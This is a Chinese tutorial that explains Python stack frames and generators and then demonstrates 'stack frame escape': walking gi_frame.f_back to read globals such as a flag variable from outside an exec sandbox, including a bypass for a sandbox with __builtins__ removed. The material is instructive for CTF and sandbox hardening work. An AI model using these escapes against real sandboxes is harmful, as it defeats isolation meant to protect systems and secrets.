0%

栈帧逃逸

初学栈帧逃逸

栈帧介绍

在 Python 中,栈帧(Stack Frame) 是函数调用时在内存中分配的一个数据结构,用于存储函数的运行信息(如局部变量、参数、返回地址等)。它是 Python 解释器管理函数调用和执行流程的核心机制之一,尤其在递归、异常处理和调试时非常重要。

栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧运作原理

1
2
3
4
5
6
7
8
9
def foo(a, b):
c = a + b
bar(c)

def bar(x):
y = x * 2
print(y)

foo(3, 4)

栈帧变化:

1.调用 foo(3, 4):

创建 foo 函数的栈帧,压入调用栈。
foo 函数的局部变量表包含 a=3, b=4。

2.执行 c = a + b:

在 foo 的操作数栈上计算 a + b,将结果 7 存储在局部变量 c 中。

3.调用 bar(c):

创建 bar 函数的栈帧,压入调用栈。
bar 函数的局部变量表包含 x=7。

4.执行 y = x * 2:

在 bar 的操作数栈上计算 x * 2,将结果 14 存储在局部变量 y 中。

5.执行 print(y):

打印 y 的值 14。

6.bar 函数结束:

从调用栈中弹出 bar 的栈帧,释放其内存。

7.foo 函数结束:

从调用栈中弹出 foo 的栈帧,释放其内存。

栈帧属性方法介绍:

1
2
3
4
5
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

生成器介绍

生成器(Generator)是Python中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。

其实生成器就是一种特殊的函数,一边运行一边生成值。

[普通函数]

1
2
3
def get_list():
return [1, 2, 3]
result = get_list() # 一次性返回整个列表 [1, 2, 3]

[生成器]

这种特殊的函数每次只“产出”一个值(yield),运行完一个再接着运行下一个,而不是一下子把所有结果返回。优点不言而喻,节省内存空间。

生成器使用yield语句来产生值,每次调用生成器的next()方法时,生成器会执行直到遇到下一个yield语句为止,然后返回yield语句后面的值

1
2
3
4
5
6
7
8
9
def get_gen():
yield 1
yield 2
yield 3

gen = get_gen() # 不会立即执行,只是创建生成器对象
print(next(gen)) # 输出 1
print(next(gen)) # 输出 2
print(next(gen)) # 输出 3

生成器属性

1
2
3
4
5
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

生成器表达式

使用类似列表推导式的语法,但使用圆括号而不是方括号,可以用来创建生成器对象。生成器表达式会逐个生成值,而不是一次性生成整个序列,这样可以节省内存空间,特别是在处理大型数据集时非常有用(依然符合每次生成值后保留当前的状态,以便下次调用时可以继续生成值)。

1
2
3
gen = (x * x for x in range(5))
print(list(gen)) # 输出 [0, 1, 4, 9, 16]

和栈帧的结合

接下来我给你看一个脚本 你就知道为什么我要介绍生成器这个东西了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

这个脚本并不难以理解,首先是定义一个生成器,然后我们调用生成器并且使用gi_frame获取了当前生成器栈帧,然后我们又访问栈帧对象的几个属性:

f_locals是查看栈帧的存储的局部变量名,f_globals是查看全局变量名,f_code是查看函数或方法的字节码指令、常量、变量名等信息,f_lasti是查看最后执行的字节码指令的索引。

也许这些话语又变得很抽象,但是运行出来的结果将会很清晰的展示获取到的生成器的帧信息:

1
2
3
4
5
6
7
Local Variables: {}

Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000024A3485C260>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\pycharm\\PythonProject\\12121212.py', '__cached__': None, 'my_generator': <function my_generator at 0x0000024A346EA2A0>, 'gen': <generator object my_generator at 0x0000024A64CB1380>, 'frame': <frame at 0x0000024A347E4E00, file 'D:\\pycharm\\PythonProject\\12121212.py', line 1, code my_generator>}

Code Object: <code object my_generator at 0x0000024A349F1200, file "D:\pycharm\PythonProject\12121212.py", line 1>

Instruction Pointer: 0

利用栈帧逃逸沙箱

栈帧(stack frame)是函数调用时用来存储局部变量、返回地址等的一段内存空间。如果你能“逃逸”出这个栈帧的控制范围,你就能访问修改不该访问的内存(比如沙箱外的数据或指令),这就叫栈帧逃逸

原理是:是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

frame0 (f 内部) –> frame1 (waff 函数) –> frame2 (exec 所在作用域)

下面脚本就是通过栈帧一步一步拿到全局变量s3cret但是不直接引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
print(frame)
print(frame.f_back)
print(frame.f_back.f_back)
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

过滤绕过

list send 生成器表达式绕过

yield过滤也可以用生成器表达式进行绕过

globals中的__builtins__字段

代码这么设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

这里将沙箱中的__builtins__置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next方法不能使用),那么该如何代替next方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = [i for i in g][0] #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])